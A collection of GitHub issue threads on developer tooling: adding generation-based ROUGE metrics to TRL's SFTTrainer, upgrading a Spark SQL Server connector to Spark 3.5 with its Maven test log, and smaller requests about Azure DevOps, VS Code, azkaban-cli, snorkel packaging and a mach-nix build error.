In Seq2seqTrainingArguments, there is a predict_with_generate argument for the purpose of generation based metrics. But this does not work on the SFTTrainer. So I am not able to compute the metrics that I want.

Can anyone advise how I can get the generations into the compute_metrics function, please? The trl version I am using is trl==0.5.0
Here are my TrainingArgs and SFTTrainer.
training_args = Seq2SeqTrainingArguments(
    output_dir=output_dir,
    eval_steps=eval_steps,
    evaluation_strategy=evaluation_strategy,
    gradient_accumulation_steps=gradient_accumulation_steps,
    learning_rate=lr,
    max_steps=max_steps,
    num_train_epochs=num_train_epochs,
    per_device_train_batch_size=batch_size,
    per_device_eval_batch_size=batch_size,
    save_steps=save_steps,
    save_strategy=save_strategy,
    warmup_steps=num_warmup_steps,
    weight_decay=weight_decay,
    save_total_limit=save_total_limit,
    load_best_model_at_end=True,
    metric_for_best_model=metric_for_best_model,
    greater_is_better=metric_greater_is_better,
    generation_config=generation_config,
    predict_with_generate=True,
    generation_max_length=10,
)

trainer = SFTTrainer(
    model,
    args=training_args,
    train_dataset=dataset_train,
    eval_dataset=dataset_eval,
    formatting_func=formatting_prompts_func,
    data_collator=collator,
    compute_metrics=compute_metrics,
)

Attributes of eval_preds are:
>> dir(eval_preds)
['__class__',
 '__delattr__',
 '__dict__',
 '__dir__',
 '__doc__',
 '__eq__',
 '__format__',
 '__ge__',
 '__getattribute__',
 '__getitem__',
 '__gt__',
 '__hash__',
 '__init__',
 '__init_subclass__',
 '__iter__',
 '__le__',
 '__lt__',
 '__module__',
 '__ne__',
 '__new__',
 '__reduce__',
 '__reduce_ex__',
 '__repr__',
 '__setattr__',
 '__sizeof__',
 '__str__',
 '__subclasshook__',
 '__weakref__',
 'inputs',
 'label_ids',
 'predictions']

Thank you in advance!

Indeed the SFTTrainer currently does not support predict_with_generate but that's a feature we could add in the future. @younesbelkada what do you think?

@lvwerra does this mean that we can't customize compute_metrics function for tracking metrics like "ROUGE"  over steps?

Not at this point. As pointed out it would require a predict_with_generate method which we don't have, yet.

@lvwerra

does this mean that we can't customize compute_metrics function for tracking metrics like "ROUGE" over steps?

When you say customize compute_metrics what do you mean? Like isn't the compute_metrics already a custom function? I am also trying to track the ROUGE metric during my evaluation step, but I am running into CUDA memory issues. I think the memory issue s not related to predict_with_generate, but I'm hoping you might know what is causing it. I am using an L4 24GB GPU.
This is my compute metrics function:
def compute_metrics(eval_preds):
preds, labels = eval_preds
# decode preds and labels
decoded_preds = tokenizer.batch_decode(preds, skip_special_tokens=True, device="cpu")
decoded_labels = tokenizer.batch_decode(labels, skip_special_tokens=True, device="cpu")
# Compute rouge scores
rouge_output = rouge.compute(predictions=decoded_preds, references=decoded_labels)
return rouge_output
I further tried to use sub batche sizes also:
def compute_metrics(eval_preds):
preds, labels = eval_preds
# Calculate batch size and desired sub-batch size
batch_size = preds.shape[0]
sub_batch_size = 3  # Adjust this based on your memory availability and desired efficiency
# Loop through sub-batches
decoded_preds, decoded_labels = [], []
for i in range(0, batch_size, sub_batch_size):
    sub_preds = preds[i:min(i + sub_batch_size, batch_size)]
    sub_labels = labels[i:min(i + sub_batch_size, batch_size)]
    # Decode the sub-batch using your current decoding logic
    sub_decoded_preds = tokenizer.batch_decode(sub_preds, skip_special_tokens=True)
    sub_decoded_labels = tokenizer.batch_decode(sub_labels, skip_special_tokens=True)
    # Append the decoded sub-batches to the main lists
    decoded_preds.extend(sub_decoded_preds)
    decoded_labels.extend(sub_decoded_labels)

# Calculate ROUGE scores using the accumulated decoded data
rouge_output = rouge.compute(predictions=decoded_preds, references=decoded_labels)
return rouge_output

Thanks!

I have same question, is there any update on this issue? Currently I can not use custom metric which is crucial to use early stopping callback in our use case.
I receive error by tokenizer.batch_decode from the compute_metric when I apply instruction-tuning on Llama2 with SFT. However, this method works without any problem with the standard Trainer.
        def compute_metrics(eval_preds):
            preds, labels = eval_preds

            if isinstance(preds, tuple):
                preds = preds[0]

            # Replace -100 in the preds as we can't decode them
            preds = np.where(preds != -100, preds, self.tokenizer.pad_token_id)

            # Decode generated summaries into text
            decoded_preds = self.tokenizer.batch_decode(preds, skip_special_tokens=True)

            # Replace -100 in the labels as we can't decode them
            labels = np.where(labels != -100, labels, self.tokenizer.pad_token_id)
            # Decode reference summaries into text
            decoded_labels = self.tokenizer.batch_decode(labels, skip_special_tokens=True)
            # ROUGE expects a newline after each sentence
            decoded_preds = ["\n".join(pred.strip()) for pred in decoded_preds]

            decoded_labels = ["\n".join(label.strip()) for label in decoded_labels]
            # Compute ROUGscores
            result = rouge_score.compute(
                predictions=decoded_preds, references=decoded_labels, use_stemmer=True
            )
            # Extract the median scores
            result = {key: value * 100 for key, value in result.items()}
            return {k: round(v, 4) for k, v in result.items()}

Thanks in advance.

Note that the preds only contain the probs for the next token, so you can't really decode them into a text. We'll work on adding text generation metrics similar to the Seq2SeqTrainer in transformers soon. In the meantime if you'd like you could also have a stab at it, happy to help guide a PR on this.

Hi @lvwerra
Thanks a lot for your reply.
I have came across preprocess_logits_for_metrics in SFTTrainer. After changing sequential training arguments to standard one and define a function for preprocess_logits_for_metrics. I was able to use the custom metric.
Neverthless, I would be glad to use new update whenever is ready.

@lvwerra
I would love to contribute to this repo. This is going to be my first contribution ever, so any guidance would be tremendously helpful. I have a faint idea of where to start, is there a preferred approach or method? Thanks!

I think looking at the Seq2SeqTrainer in transformers would be a good start, which offers that option and we also inherit from the Trainer. Then you could open draft PR, even if things are not fully working/ready yet and we can directly discuss on the code.

@isspek can you share your code please, I also want to compute metrics using the generations

Hi @anandsarth,
I used the compute metric as the following example:

        def preprocess_logits_for_metrics(logits, labels):
            if isinstance(logits, tuple):
                logits = logits[0]
            return logits.argmax(dim=-1)

        def compute_metrics(eval_preds):
            preds, labels = eval_preds

            if isinstance(preds, tuple):
                preds = preds[0]

            # Replace -100 in the preds as we can't decode them
            preds = np.where(preds != -100, preds, self.tokenizer.pad_token_id)

            # Decode generated summaries into text
            decoded_preds = self.tokenizer.batch_decode(preds, skip_special_tokens=True)

            # Replace -100 in the labels as we can't decode them
            labels = np.where(labels != -100, labels, self.tokenizer.pad_token_id)
            # Decode reference summaries into text
            decoded_labels = self.tokenizer.batch_decode(labels, skip_special_tokens=True)
            # ROUGE expects a newline after each sentence
            decoded_preds = ["\n".join(pred.strip()) for pred in decoded_preds]

            decoded_labels = ["\n".join(label.strip()) for label in decoded_labels]
            # Compute ROUGscores
            result = rouge_score.compute(
                predictions=decoded_preds, references=decoded_labels, use_stemmer=True
            )
            # Extract the median scores
            result = {key: value * 100 for key, value in result.items()}
            return {k: round(v, 4) for k, v in result.items()}

        # declare training arguments
        training_args = TrainingArguments(
            output_dir=params['model_output_path'],
            evaluation_strategy="steps",
            do_eval=True,
            save_strategy="steps",
            eval_steps=100,
            learning_rate=learning_rate,
            logging_strategy='steps', # log according to log_steps
            warmup_steps=int(len(train_ds) / 8),
            weight_decay=0.01,
            save_total_limit=1,
            num_train_epochs=epochs,
            auto_find_batch_size=True,
            metric_for_best_model=params['eval_metric'],
            greater_is_better=True,
            # metric_for_best_model='eval_loss',
            load_best_model_at_end=True
        )

        # declare trainer
        trainer = SFTTrainer(
            model=model,
            args=training_args,
            train_dataset=train_ds,
            eval_dataset=val_ds,
            dataset_text_field="instruction",
            peft_config=lora_config,
            tokenizer=self.tokenizer,
            max_seq_length= max_length,
            compute_metrics=compute_metrics,
            preprocess_logits_for_metrics = preprocess_logits_for_metrics,
            callbacks=[EarlyStoppingCallback(early_stopping_patience=10)]
        )

Hi @isspek. I am new to transformers and huggingface. How did you implement the solution? Did you put that directly in script or in trl.trainer.sft_trainer?
Any help is appreciated!!

@isspek for implementation is you input the two functions into transformers.trainer ?

Would changing SFTTrainer to inherit from Seq2SeqTrainer instead of Trainer be a good starting point? I notice that there is no overlap between the overridden methods in both these classes.

@lvwerra Why is this issue closed? Is there a way around this currently?

Hi @isspek, could you explain your approach in a bit more detail? What is the format of your input? It appears to me that you are not separating the prompt from the generation when calculating the scores. Is that being handled separately in your code?

Any solution in SFTTrainer ? @isspek , your way to treat prompts can be very useful . Thank in advance

i'm trying to decode with the tokenizer but it spits out some gibberish. half complete words and sentences. they make a bit of sense but they are pretty garbage. is there any solution to the problem? i'd like to have the real predictions to compute the rouge metric during training at each epoch.

i'm trying to decode with the tokenizer but it spits out some gibberish. half complete words and sentences. they make a bit of sense but they are pretty garbage. is there any solution to the problem? i'd like to have the real predictions to compute the rouge metric during training at each epoch.

Are you sure it's gibberish ? In the beginning it can look gibberish but improving .

i'm trying to decode with the tokenizer but it spits out some gibberish. half complete words and sentences. they make a bit of sense but they are pretty garbage. is there any solution to the problem? i'd like to have the real predictions to compute the rouge metric during training at each epoch.

Are you sure it's gibberish ? In the beginning it can look gibberish but improving .

The phrases produced during the training are "readable" but the words are misspelled. On the other hand, the predictions made using the model after the training seems to be just right  with no grammatical mistakes or misspellings. It is strange because i also tried to make the prediction during and after training with just one epoch. I assumed they should have been both wrong, but the results after training are still good, while the results during training are very bad. I'll try to post an example in english asap.

Hmm ... Thanks you for your detailed explanation. Looks like input_ids messed up during evaluation. I am also will try to reproduce the issue for my case .

came back with some news, i think the problem is that during training the model is trained on 4 bits (with BitsAndBytesConfig configuration)

i'm trying to decode with the tokenizer but it spits out some gibberish. half complete words and sentences. they make a bit of sense but they are pretty garbage. is there any solution to the problem? i'd like to have the real predictions to compute the rouge metric during training at each epoch.

Are you sure it's gibberish ? In the beginning it can look gibberish but improving .

The phrases produced during the training are "readable" but the words are misspelled. On the other hand, the predictions made using the model after the training seem to be just right, with no grammatical mistakes or misspellings. It is strange because i also tried to make the prediction during and after training with just one epoch. I assumed they should have been both wrong, but the results after training are still good, while the results during training are very bad. I'll try to post an example in english asap.
For this reason i think the problem is in the tokenizer for some misterious reasons, not in the training or the model itself.

It seems to me preprocess_logits_for_metrics is causing issues?  It's not entirely clear how it would interact with the decoding algorithm underpinning generate function. Or it may simply bypass generate.

As @cabosanlucas said, the solution provided by @isspek is "greedy search decoding", which is not optimal for consistency. See here other strategies for generating text. Currently these strategies are only supported by Seq2SeqTrainer. Would be nice if support for SFTTrainer coule be added.

As @cabosanlucas said, the solution provided by @isspek is "greedy search decoding", which is not optimal for consistency. See here other strategies for generating text. Currently these strategies are only supported by Seq2SeqTrainer. Would be nice if support for SFTTrainer coule be added.

I am not sure if it's even greedy search decoding. Could you take a look at my comment above?
I plan to submit a PR for adding support to SFTTrainer in the future when I have time.

Hi everyone, thanks for checking this and finding out the issues. I hadnt throughly tested the method I tried. I am looking forward the correct version.

Is this feature available now?

Is this feature available now?

No

@adamamer20 you mentioned the workaround is using Seq2SeqTrainer with [Seq2SeqTrainingArguments(predict_with_generate=True, ...) ]
Is it possible to share your implementation if you have one?

Adding my request for this feature to be added. Would be great to have SFTTrainer inherit from Seq2SeqTrainer.

Linking my very rough code for a SFTSeq2SeqTrainer in case that's useful :)
https://github.com/huggingface/trl/issues/1222#issuecomment-2498956319


Upgrade to spark 3.5

Changes similar to those of the previous upgrade to 3.4 at https://github.com/microsoft/sql-spark-connector/pull/235

Bumped spark to 3.5.0
Bumped the version of the library to 1.5.0
Updated the readme accordingly

Added the 1.5.0 artifact to the version table

@microsoft-github-policy-service agree company="PulsePoint"

Tests passed
grihabor@grihabor-Vivobook:~/projects/sql-spark-connector$ mvn test
[INFO] Scanning for projects...
[WARNING]
[WARNING] Some problems were encountered while building the effective model for com.microsoft.azure:spark-mssql-connector_2.12:jar:1.5.0
[WARNING] 'artifactId' contains an expression but should be a constant. @ com.microsoft.azure:spark-mssql-connector_${scala.binary.version}:1.5.0, /home/grihabor/projects/sql-spark-connector/pom.xml, line 5
, column 17
[WARNING]
[WARNING] It is highly recommended to fix these problems because they threaten the stability of your build.
[WARNING]
[WARNING] For this reason, future Maven versions might no longer support building such malformed projects.
[WARNING]
[INFO]
[INFO] -----------< com.microsoft.azure:spark-mssql-connector_2.12 >-----------
[INFO] Building com.microsoft.azure:spark-mssql-connector_2.12 1.5.0
[INFO] --------------------------------[ jar ]---------------------------------
[INFO]
[INFO] --- maven-resources-plugin:2.6:resources (default-resources) @ spark-mssql-connector_2.12 ---
[INFO] Using 'UTF-8' encoding to copy filtered resources.
[INFO] skip non existing resourceDirectory /home/grihabor/projects/sql-spark-connector/src/main/resources
[INFO]
[INFO] --- scala-maven-plugin:4.4.0:add-source (scala-compile-first) @ spark-mssql-connector_2.12 ---
[INFO] Add Source directory: /home/grihabor/projects/sql-spark-connector/src/main/scala
[INFO] Add Test Source directory: /home/grihabor/projects/sql-spark-connector/src/test/scala
[INFO]
[INFO] --- maven-compiler-plugin:3.7.0:compile (default-compile) @ spark-mssql-connector_2.12 ---
[INFO] Nothing to compile - all classes are up to date
[INFO]
[INFO] --- scala-maven-plugin:4.4.0:compile (scala-compile) @ spark-mssql-connector_2.12 ---
[INFO] Using incremental compilation using Mixed compile order
[INFO] Compiler bridge file: /home/grihabor/.sbt/1.0/zinc/org.scala-sbt/org.scala-sbt-compiler-bridge_2.12-1.3.5-bin_2.12.20__52.0-1.3.5_20200330T000931.jar
[INFO] compile in 1.5 s
[INFO]
[INFO] --- maven-resources-plugin:2.6:testResources (default-testResources) @ spark-mssql-connector_2.12 ---
[INFO] Using 'UTF-8' encoding to copy filtered resources.
[INFO] skip non existing resourceDirectory /home/grihabor/projects/sql-spark-connector/src/test/resources
[INFO]
[INFO] --- maven-compiler-plugin:3.7.0:testCompile (default-testCompile) @ spark-mssql-connector_2.12 ---
[INFO] Changes detected - recompiling the module!
[INFO] Compiling 1 source file to /home/grihabor/projects/sql-spark-connector/target/test-classes
[INFO]
[INFO] --- scala-maven-plugin:4.4.0:testCompile (test-compile) @ spark-mssql-connector_2.12 ---
[INFO] Using incremental compilation using Mixed compile order
[INFO] Compiler bridge file: /home/grihabor/.sbt/1.0/zinc/org.scala-sbt/org.scala-sbt-compiler-bridge_2.12-1.3.5-bin_2.12.20__52.0-1.3.5_20200330T000931.jar
[INFO] compile in 0.2 s
[INFO]
[INFO] --- maven-surefire-plugin:2.12.4:test (default-test) @ spark-mssql-connector_2.12 ---
[INFO] Surefire report directory: /home/grihabor/projects/sql-spark-connector/target/surefire-reports

-------------------------------------------------------
 T E S T S
-------------------------------------------------------
Running com.microsoft.sqlserver.jdbc.spark.DataSourceUtilsTest
Tests run: 2, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 0.205 sec

Results :

Tests run: 2, Failures: 0, Errors: 0, Skipped: 0

[INFO]
[INFO] --- scalatest-maven-plugin:1.0:test (scala-test) @ spark-mssql-connector_2.12 ---
Discovery starting.
Using Spark's default log4j profile: org/apache/spark/log4j2-defaults.properties
Discovery completed in 642 milliseconds.
Run starting. Expected test count is: 7
DataSourceTest:
24/12/12 17:08:21 WARN Utils: Your hostname, grihabor-Vivobook resolves to a loopback address: <IP_ADDRESS>; using <IP_ADDRESS> instead (on interface docker0)
24/12/12 17:08:21 WARN Utils: Set SPARK_LOCAL_IP if you need to bind to another address
24/12/12 17:08:21 INFO SparkContext: Running Spark version 3.5.0
24/12/12 17:08:21 INFO SparkContext: OS info Linux, 6.8.0-49-generic, amd64
24/12/12 17:08:21 INFO SparkContext: Java version 1.8.0_392
24/12/12 17:08:21 WARN NativeCodeLoader: Unable to load native-hadoop library for your platform... using builtin-java classes where applicable
24/12/12 17:08:22 INFO ResourceUtils: ==============================================================
24/12/12 17:08:22 INFO ResourceUtils: No custom resources configured for spark.driver.
24/12/12 17:08:22 INFO ResourceUtils: ==============================================================
24/12/12 17:08:22 INFO SparkContext: Submitted application: test-sql-context
24/12/12 17:08:22 INFO ResourceProfile: Default ResourceProfile created, executor resources: Map(cores -> name: cores, amount: 1, script: , vendor: , memory -> name: memory, amount: 1024, script: , vendor:
, offHeap -> name: offHeap, amount: 0, script: , vendor: ), task resources: Map(cpus -> name: cpus, amount: 1.0)
24/12/12 17:08:22 INFO ResourceProfile: Limiting resource is cpu
24/12/12 17:08:22 INFO ResourceProfileManager: Added ResourceProfile id: 0
24/12/12 17:08:22 INFO SecurityManager: Changing view acls to: grihabor
24/12/12 17:08:22 INFO SecurityManager: Changing modify acls to: grihabor
24/12/12 17:08:22 INFO SecurityManager: Changing view acls groups to:
24/12/12 17:08:22 INFO SecurityManager: Changing modify acls groups to:
24/12/12 17:08:22 INFO SecurityManager: SecurityManager: authentication disabled; ui acls disabled; users with view permissions: grihabor; groups with view permissions: EMPTY; users with modify permissions:
 grihabor; groups with modify permissions: EMPTY
24/12/12 17:08:22 INFO Utils: Successfully started service 'sparkDriver' on port 36287.
24/12/12 17:08:22 INFO SparkEnv: Registering MapOutputTracker
24/12/12 17:08:22 INFO SparkEnv: Registering BlockManagerMaster
24/12/12 17:08:22 INFO BlockManagerMasterEndpoint: Using org.apache.spark.storage.DefaultTopologyMapper for getting topology information
24/12/12 17:08:22 INFO BlockManagerMasterEndpoint: BlockManagerMasterEndpoint up
24/12/12 17:08:22 INFO SparkEnv: Registering BlockManagerMasterHeartbeat
24/12/12 17:08:22 INFO DiskBlockManager: Created local directory at /tmp/blockmgr-08ba5e45-e84b-48c9-b174-f9c9ca478747
24/12/12 17:08:22 INFO MemoryStore: MemoryStore started with capacity 1872.3 MiB
24/12/12 17:08:22 INFO SparkEnv: Registering OutputCommitCoordinator
24/12/12 17:08:22 INFO JettyUtils: Start Jetty <IP_ADDRESS>:4040 for SparkUI
24/12/12 17:08:22 INFO Utils: Successfully started service 'SparkUI' on port 4040.
24/12/12 17:08:22 INFO Executor: Starting executor ID driver on host <IP_ADDRESS>
24/12/12 17:08:22 INFO Executor: OS info Linux, 6.8.0-49-generic, amd64
24/12/12 17:08:22 INFO Executor: Java version 1.8.0_392
24/12/12 17:08:22 INFO Executor: Starting executor with user classpath (userClassPathFirst = false): ''
24/12/12 17:08:22 INFO Executor: Created or updated repl class loader org.apache.spark.util.MutableURLClassLoader@41f4fe5 for default.
24/12/12 17:08:22 INFO Utils: Successfully started service 'org.apache.spark.network.netty.NettyBlockTransferService' on port 34553.
24/12/12 17:08:22 INFO NettyBlockTransferService: Server created on <IP_ADDRESS>:34553
24/12/12 17:08:22 INFO BlockManager: Using org.apache.spark.storage.RandomBlockReplicationPolicy for block replication policy
24/12/12 17:08:22 INFO BlockManagerMaster: Registering BlockManager BlockManagerId(driver, <IP_ADDRESS>, 34553, None)
24/12/12 17:08:22 INFO BlockManagerMasterEndpoint: Registering block manager <IP_ADDRESS>:34553 with 1872.3 MiB RAM, BlockManagerId(driver, <IP_ADDRESS>, 34553, None)
24/12/12 17:08:22 INFO BlockManagerMaster: Registered BlockManager BlockManagerId(driver, <IP_ADDRESS>, 34553, None)
24/12/12 17:08:22 INFO BlockManager: Initialized BlockManager: BlockManagerId(driver, <IP_ADDRESS>, 34553, None)
24/12/12 17:08:23 INFO DataSourceTest:

===== TEST OUTPUT FOR com.microsoft.sqlserver.jdbc.spark.unit.bulkwrite.DataSourceTest: 'Schema validation between Spark DataFrame and SQL Server ResultSet' =====

24/12/12 17:08:23 INFO DataSourceTest:

===== FINISHED com.microsoft.sqlserver.jdbc.spark.unit.bulkwrite.DataSourceTest: 'Schema validation between Spark DataFrame and SQL Server ResultSet' =====

- Schema validation between Spark DataFrame and SQL Server ResultSet
24/12/12 17:08:23 INFO SharedState: Setting hive.metastore.warehouse.dir ('null') to the value of spark.sql.warehouse.dir.
24/12/12 17:08:23 INFO SharedState: Warehouse path is 'file:/home/grihabor/projects/sql-spark-connector/spark-warehouse/com.microsoft.sqlserver.jdbc.spark.unit.bulkwrite.DataSourceTest'.
24/12/12 17:08:23 INFO DataSourceTest:

===== TEST OUTPUT FOR com.microsoft.sqlserver.jdbc.spark.unit.bulkwrite.DataSourceTest: 'JdbcBulkOptions should have proper Bulk configurations' =====

24/12/12 17:08:23 INFO DataSourceTest:

===== FINISHED com.microsoft.sqlserver.jdbc.spark.unit.bulkwrite.DataSourceTest: 'JdbcBulkOptions should have proper Bulk configurations' =====

- JdbcBulkOptions should have proper Bulk configurations
24/12/12 17:08:23 INFO DataSourceTest:

===== TEST OUTPUT FOR com.microsoft.sqlserver.jdbc.spark.unit.bulkwrite.DataSourceTest: 'Data pool URL generation' =====

24/12/12 17:08:23 INFO DataSourceTest:

===== FINISHED com.microsoft.sqlserver.jdbc.spark.unit.bulkwrite.DataSourceTest: 'Data pool URL generation' =====

- Data pool URL generation
24/12/12 17:08:23 INFO DataSourceTest:

===== TEST OUTPUT FOR com.microsoft.sqlserver.jdbc.spark.unit.bulkwrite.DataSourceTest: 'Multi part tablename test' =====

24/12/12 17:08:23 INFO DataSourceTest:

===== FINISHED com.microsoft.sqlserver.jdbc.spark.unit.bulkwrite.DataSourceTest: 'Multi part tablename test' =====

- Multi part tablename test
24/12/12 17:08:23 INFO DataSourceTest:

===== TEST OUTPUT FOR com.microsoft.sqlserver.jdbc.spark.unit.bulkwrite.DataSourceTest: 'Data pool options test' =====

24/12/12 17:08:23 INFO DataSourceTest:

===== FINISHED com.microsoft.sqlserver.jdbc.spark.unit.bulkwrite.DataSourceTest: 'Data pool options test' =====

- Data pool options test
24/12/12 17:08:23 INFO DataSourceTest:

===== TEST OUTPUT FOR com.microsoft.sqlserver.jdbc.spark.unit.bulkwrite.DataSourceTest: 'Default AAD options are correct.' =====

24/12/12 17:08:23 INFO DataSourceTest:

===== FINISHED com.microsoft.sqlserver.jdbc.spark.unit.bulkwrite.DataSourceTest: 'Default AAD options are correct.' =====

- Default AAD options are correct.
24/12/12 17:08:23 INFO DataSourceTest:

===== TEST OUTPUT FOR com.microsoft.sqlserver.jdbc.spark.unit.bulkwrite.DataSourceTest: 'Correct AAD options are set when accessToken is specified' =====

24/12/12 17:08:23 INFO DataSourceTest:

===== FINISHED com.microsoft.sqlserver.jdbc.spark.unit.bulkwrite.DataSourceTest: 'Correct AAD options are set when accessToken is specified' =====

- Correct AAD options are set when accessToken is specified
24/12/12 17:08:23 INFO SparkContext: SparkContext is stopping with exitCode 0.
24/12/12 17:08:23 INFO SparkUI: Stopped Spark web UI at http://<IP_ADDRESS>:4040
24/12/12 17:08:23 INFO MapOutputTrackerMasterEndpoint: MapOutputTrackerMasterEndpoint stopped!
24/12/12 17:08:23 INFO MemoryStore: MemoryStore cleared
24/12/12 17:08:23 INFO BlockManager: BlockManager stopped
24/12/12 17:08:23 INFO BlockManagerMaster: BlockManagerMaster stopped
24/12/12 17:08:23 INFO OutputCommitCoordinator$OutputCommitCoordinatorEndpoint: OutputCommitCoordinator stopped!
24/12/12 17:08:23 INFO SparkContext: Successfully stopped SparkContext
24/12/12 17:08:23 WARN DataSourceTest:

===== POSSIBLE THREAD LEAK IN SUITE com.microsoft.sqlserver.jdbc.spark.unit.bulkwrite.DataSourceTest, threads: rpc-boss-3-1 (daemon=true), shuffle-boss-6-1 (daemon=true) =====

Run completed in 3 seconds, 112 milliseconds.
Total number of tests run: 7
Suites: completed 2, aborted 0
Tests: succeeded 7, failed 0, canceled 0, ignored 0, pending 0
All tests passed.
24/12/12 17:08:23 INFO ShutdownHookManager: Shutdown hook called
24/12/12 17:08:23 INFO ShutdownHookManager: Deleting directory /tmp/spark-93dff511-fb8d-4106-b2d9-38c5bf129734
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESS
[INFO] ------------------------------------------------------------------------
[INFO] Total time:  8.387 s
[INFO] Finished at: 2024-12-12T17:08:24+01:00
[INFO] ------------------------------------------------------------------------


How to measure Response Time?

Is there a(n easy) way to measure Response Time (from Work Item creation -> In Progress)?

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 1e813268-5e00-7c84-2479-3068e27ea443
Version Independent ID: 269b0352-2a6a-d5c9-96a3-68d5ce93c616
Content: Cycle time and lead time control charts - Azure DevOps Services
Content Source: docs/report/dashboards/cycle-time-and-lead-time.md
Product: devops
Technology: devops-analytics
GitHub Login: @KathrynEE
Microsoft Alias: kaelli

Thanks for your question. It looks like you're working through an issue with your scenario or implementation.  You may find answers here:

Azure DevOps Support Bot
Azure DevOps on Stack Overflow

I am closing this issue now.  You are welcome to @ mention me for any followup.
We hope to hear from you again.

@WilliamAntonRohm , this must be joke, right, are you seriously routing me to the Bot? I asked the question "How to measure Response Time?" and got "Sorry, my bot code is having an issue."
And isn't the Comment section under the page explaining how to report Lead and Cycle Time the best place to ask about Response Time (Response Time = Lead - Cycle Time)?
Why was my issue closed without a proper answer?

Nevermind, posted on SO, let'see ...


[suggestion] How about support Browser-Server, without electron?

Hi.
some reason of this:

the ENVs of DEV and PROD are different. (like using a macOS to make a Linux program.)
want code any where.(install vscode at server, use browser to connect to it and code)
more than one developer can attach a same vscode instance to review code or do pair programming, or attach different instance to do something alone.

We probably already have requests like this in our repository, please search olders issues for more details.
However I can answer shortly, currently our whole vscode architecture is built on top of electron and we do not plan to change that.
However the monaco editor is not dependendt on the server https://github.com/Microsoft/monaco-editor


remove ledger_table extension

get_ledger_by_hash sometimes would return detached mask.
Imagine the following scenario:
The root just transitioned, and the root_snarked_ledger has already been changed, but the extension hasn't been updated. If we lookup the old root hash using get_ledger_by_hash, it would return the detached mask of the old root.
I changed get_ledger_by_hash not to do lookup at all. get_ledger_by_hash is only used by syncable_ledger. Since we are syncing the root_snarked_ledger, it's unnecessary to lookup the root_snarked_ledger in peer's transition frontier. So I changed the get_ledger_by_hash to return None if the requested hash doesn't match the current root_snarked_ledger.

Why do we not want this?

@nholland94 is working on a fix to make READ/WRITE of transition frontier to be synchronous so that the bug would be fixed in the future. I've already make Sync_handler.get_ledger_by_hash function not calling this extension in #3974, so this piece of code is not used anyway in our codebase currently. I would recommend not using this extension until @nholland94's fix landed.


Support all concurrent choices

When running a flow, azkaban-cli only support 'concurrent' and 'skip' values for the concurrentOption request parameters. However Azkaban server 3.0 supports 'skip', 'pipeline' and 'queue'.
It could be really great to supports all this values.

You're right, this would be good to have. I'll add this when I get a chance, thanks for bringing it up!

Just released 0.9.4 which should satisfy your use-case. Let me know if anything doesn't work.

Wow that was fast ! Thank you for this quick response.
However it could also be great to also support the pipelineLevel query parameter. (see https://github.com/azkaban/azkaban/blob/71b5dd9a83935c2f253b0d944e47909b918b06bc/azkaban-common/src/main/java/azkaban/server/HttpRequestUtils.java#L94)
I'll create a new pull-request for this.
Have a nice day


Make snorkel installable as a package

Closes #920.
Closes https://github.com/HazyResearch/snorkel/pull/918
Work in progress

Reformatted snorkel/features/entity_features.py which imported treedlib from the submodule.
Part of Snorkel Week https://github.com/greenelab/snorkeling/issues/39

@ajratner would be great if you can take a look at this PR!


pkg: pywps - attribute 'flufl.enum' missing

with the current master there is an issue
it worked already with:
rev = "59d54bd366b10430dc45e46b83dd2c3fb72f29d1" ;
let
  mach-nix = import (builtins.fetchGit {
    url = "https://github.com/DavHau/mach-nix/";
    rev = "67184df0c2cfe6974b774bc2ca0c10970c9bab39"; # dnw
    #rev = "59d54bd366b10430dc45e46b83dd2c3fb72f29d1" ; # ws
  });
  py_env = mach-nix.mkPython rec {
    python = mach-nix.nixpkgs.python37;
    requirements =  ''
    pywps
      '';
    #requirements = builtins.readFile ./requirements_test_pkg.txt ;##

    providers = {
      # force tensorflow to be taken from nixpkgs
      #tensorflow = "nixpkgs";
      tensorflow = "wheel";
      torch = "wheel";

      rpy2 = "sdist" ; # wheel broken ? rep upstream

      orange3 = "nixpkgs";

      osmpythontools = "nixpkgs";

    };
  };

in
(py_env.override ( args:{ignoreCollisions=true; }) ).env

while evaluating the attribute 'nativeBuildInputs' of the derivation 'interactive-python3-3.7.8-environment' at /nix/store/cmvzygi70pbgasfh95kv6pbbj7z7dp8x-nixpkgs/pkgs/development/interpreters/python/wrapper.nix:54:9:
while evaluating the attribute 'passAsFile' of the derivation 'python3-3.7.8-env' at /nix/store/cmvzygi70pbgasfh95kv6pbbj7z7dp8x-nixpkgs/pkgs/build-support/trivial-builders.nix:7:7:
while evaluating 'requiredPythonModules' at /nix/store/cmvzygi70pbgasfh95kv6pbbj7z7dp8x-nixpkgs/pkgs/top-level/python-packages.nix:64:27, called from /nix/store/cmvzygi70pbgasfh95kv6pbbj7z7dp8x-nixpkgs/pkgs/development/interpreters/python/wrapper.nix:15:13:
while evaluating 'unique' at /nix/store/cmvzygi70pbgasfh95kv6pbbj7z7dp8x-nixpkgs/lib/lists.nix:643:12, called from /nix/store/cmvzygi70pbgasfh95kv6pbbj7z7dp8x-nixpkgs/pkgs/top-level/python-packages.nix:66:6:
while evaluating 'requiredPythonModules' at /nix/store/cmvzygi70pbgasfh95kv6pbbj7z7dp8x-nixpkgs/pkgs/top-level/python-packages.nix:64:27, called from /nix/store/cmvzygi70pbgasfh95kv6pbbj7z7dp8x-nixpkgs/pkgs/top-level/python-packages.nix:82:33:
while evaluating 'unique' at /nix/store/cmvzygi70pbgasfh95kv6pbbj7z7dp8x-nixpkgs/lib/lists.nix:643:12, called from /nix/store/cmvzygi70pbgasfh95kv6pbbj7z7dp8x-nixpkgs/pkgs/top-level/python-packages.nix:66:6:
while evaluating 'hasPythonModule' at /nix/store/cmvzygi70pbgasfh95kv6pbbj7z7dp8x-nixpkgs/pkgs/top-level/python-packages.nix:61:21, called from undefined position:
while evaluating 'getOutput' at /nix/store/cmvzygi70pbgasfh95kv6pbbj7z7dp8x-nixpkgs/lib/attrsets.nix:464:23, called from undefined position:
while evaluating anonymous function at /nix/store/cmvzygi70pbgasfh95kv6pbbj7z7dp8x-nixpkgs/pkgs/stdenv/generic/make-derivation.nix:157:17, called from undefined position:

error: --- EvalError ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- nix-shell
in file: /nix/store/c1di0ixgrvg0wy7zlqcjffdrif7qwxk8-mach_nix_file/share/mach_nix_file.nix (189:51)

attribute 'flufl.enum' missing

update:
on current master
